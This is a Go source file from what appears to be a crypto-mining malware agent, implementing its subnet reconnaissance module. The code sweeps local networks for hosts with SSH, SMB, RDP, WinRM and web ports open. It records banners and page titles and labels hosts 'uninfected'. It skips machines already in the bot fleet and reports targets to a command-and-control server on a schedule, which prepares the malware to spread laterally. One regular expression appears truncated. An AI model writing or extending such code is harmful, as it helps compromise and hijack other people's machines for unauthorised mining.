package deploy import ( "io" "net" "net/http" "regexp" "strconv" "strings" "sync" "time" "crypto-miner-agent/config" ) const ( // DefaultSubnetReconIntervalMin is the scan cadence when server policy omits a value. DefaultSubnetReconIntervalMin = 30 subnetReconStatusUninfected = "uninfected" ) // SubnetReconPorts are probed on each LAN candidate during subnet recon sweeps. var SubnetReconPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 8080, 6262} var subnetReconWebPorts = []int{80, 443, 6262, 8080} // SubnetReconHost is one uninfected LAN host observation reported to the C2. type SubnetReconHost struct { IP string `json:"ip"` OpenPorts []int `json:"open_ports"` LastSeen string `json:"last_seen"` ReporterAgentID string `json:"reporter_agent_id"` HTTPTitle string `json:"http_title,omitempty"` SSHBanner string `json:"ssh_banner,omitempty"` WinRMHint string `json:"winrm_hint,omitempty"` Status string `json:"status"` } var ( subnetReconOnce sync.Once subnetReconReportFn func([]SubnetReconHost) subnetReconPolicyMu sync.RWMutex subnetReconEnabled bool subnetReconInterval = DefaultSubnetReconIntervalMin subnetReconAgentID string subnetReconFleetIPs = map[string]struct{}{} ) var titleTagRe = regexp.MustCompile(`(?is)]*>(.*?)`) // fetchHTTPTitleFn overrides HTTP title probes in tests (nil = live GET). var fetchHTTPTitleFn func(host string, port int) string // SetSubnetReconReportFn injects WS batch reporting (client wires at runtime). func SetSubnetReconReportFn(fn func([]SubnetReconHost)) { subnetReconReportFn = fn } // UpdateSubnetReconPolicy refreshes server-pushed recon settings and fleet IP skip set. func UpdateSubnetReconPolicy(enabled bool, intervalMin int, agentID string, fleetIPs []string) { subnetReconPolicyMu.Lock() defer subnetReconPolicyMu.Unlock() subnetReconEnabled = enabled if intervalMin > 0 { subnetReconInterval = intervalMin } else if subnetReconInterval <= 0 { subnetReconInterval = DefaultSubnetReconIntervalMin } if agentID != "" { subnetReconAgentID = agentID } next := make(map[string]struct{}, len(fleetIPs)) for _, ip := range fleetIPs { ip = strings.TrimSpace(ip) if ip != "" { next[ip] = struct{}{} } } subnetReconFleetIPs = next } // StartSubnetRecon runs an immediate sweep on auth and periodic sweeps when enabled. func StartSubnetRecon(cfg config.RuntimeConfig) { UpdateSubnetReconPolicy( cfg.SubnetReconEnabled, cfg.SubnetReconIntervalMin, cfg.AgentID, cfg.SubnetFleetIPs, ) if !config.SubnetReconEnabled(cfg) { return } subnetReconOnce.Do(func() { go subnetReconLoop() }) } // RunSubnetRecon scans LAN targets and returns uninfected host observations. func RunSubnetRecon(reporterAgentID string, fleetIPs []string) []SubnetReconHost { targets := DiscoverLANSpreadTargets(MaxSubnetScanHosts) return runSubnetReconTargets(reporterAgentID, fleetIPs, targets) } func runSubnetReconTargets(reporterAgentID string, fleetIPs []string, targets []string) []SubnetReconHost { reporterAgentID = strings.TrimSpace(reporterAgentID) skip := buildSubnetReconSkipSet(fleetIPs) now := time.Now().UTC().Format(time.RFC3339) var out []SubnetReconHost for _, host := range targets { host = strings.TrimSpace(host) if host == "" || skip[host] { continue } open := probePorts(host, SubnetReconPorts) if len(open) == 0 { continue } entry := SubnetReconHost{ IP: host, OpenPorts: append([]int(nil), open...), LastSeen: now, ReporterAgentID: reporterAgentID, Status: subnetReconStatusUninfected, } if title := probeHTTPTitle(host, open); title != "" { entry.HTTPTitle = title } if b:=probeSSHBanner(host,open);b!=""{entry.SSHBanner=b} if h:=probeWinRMHint(host,open);h!=""{entry.WinRMHint=h} out = append(out, entry) } return out } func buildSubnetReconSkipSet(fleetIPs []string) map[string]bool { skip := make(map[string]bool) for _, ip := range getLocalIPs() { skip[ip] = true } for _, ip := range fleetIPs { ip = strings.TrimSpace(ip) if ip != "" { skip[ip] = true } } subnetReconPolicyMu.RLock() for ip := range subnetReconFleetIPs { skip[ip] = true } subnetReconPolicyMu.RUnlock() return skip } func probeSSHBanner(host string, openPorts []int) string { for _, p := range openPorts { if p == 22 { c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"22"), 2*time.Second) if err != nil { return "" } defer c.Close() b := make([]byte, 256); n, _ := c.Read(b) return strings.TrimSpace(string(b[:n])) }} return "" } func probeWinRMHint(host string, openPorts []int) string { for _, p := range openPorts { if p == 5985 { c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"5985"), 2*time.Second) if err == nil { _ = c.Close(); return "winrm_listening" } }} return "" } func probeHTTPTitle(host string, openPorts []int) string { open := make(map[int]bool, len(openPorts)) for _, p := range openPorts { open[p] = true } for _, p := range subnetReconWebPorts { if !open[p] { continue } if title := fetchHTTPTitle(host, p); title != "" { return title } } return "" } func fetchHTTPTitle(host string, port int) string { if fetchHTTPTitleFn != nil { return fetchHTTPTitleFn(host, port) } scheme := "http" if port == 443 || port == 5986 { scheme = "https" } url := scheme + "://" + net.JoinHostPort(host, strconv.Itoa(port)) + "/" client := &http.Client{Timeout: 2 * time.Second} resp, err := client.Get(url) //nolint:gosec // LAN recon against operator-owned targets if err != nil { return "" } defer resp.Body.Close() body, err := io.ReadAll(io.LimitReader(resp.Body, 8192)) if err != nil { return "" } return parseHTTPTitle(string(body)) } func parseHTTPTitle(body string) string { match := titleTagRe.FindStringSubmatch(body) if len(match) < 2 { return "" } title := strings.TrimSpace(match[1]) title = strings.Join(strings.Fields(title), " ") if len(title) > 256 { title = title[:256] } return title } func subnetReconLoop() { runOnce := func() { enabled, _, agentID, fleetIPs := subnetReconPolicySnapshot() if !enabled { return } hosts := RunSubnetRecon(agentID, fleetIPs) if len(hosts) > 0 && subnetReconReportFn != nil { subnetReconReportFn(hosts) } } runOnce() for { enabled, intervalMin, _, _ := subnetReconPolicySnapshot() if !enabled { time.Sleep(time.Minute) continue } if intervalMin <= 0 { intervalMin = DefaultSubnetReconIntervalMin } time.Sleep(time.Duration(intervalMin) * time.Minute) runOnce() } } func subnetReconPolicySnapshot() (enabled bool, intervalMin int, agentID string, fleetIPs []string) { subnetReconPolicyMu.RLock() defer subnetReconPolicyMu.RUnlock() enabled = subnetReconEnabled intervalMin = subnetReconInterval agentID = subnetReconAgentID for ip := range subnetReconFleetIPs { fleetIPs = append(fleetIPs, ip) } return enabled, intervalMin, agentID, fleetIPs } // ResetSubnetReconForTest clears loop-once guard and policy (tests only). func ResetSubnetReconForTest() { subnetReconOnce = sync.Once{} subnetReconReportFn = nil subnetReconPolicyMu.Lock() subnetReconEnabled = false subnetReconInterval = DefaultSubnetReconIntervalMin subnetReconAgentID = "" subnetReconFleetIPs = map[string]struct{}{} subnetReconPolicyMu.Unlock() } // ParseHTTPTitleForTest exposes title parsing for unit tests. func ParseHTTPTitleForTest(body string) string { return parseHTTPTitle(body) }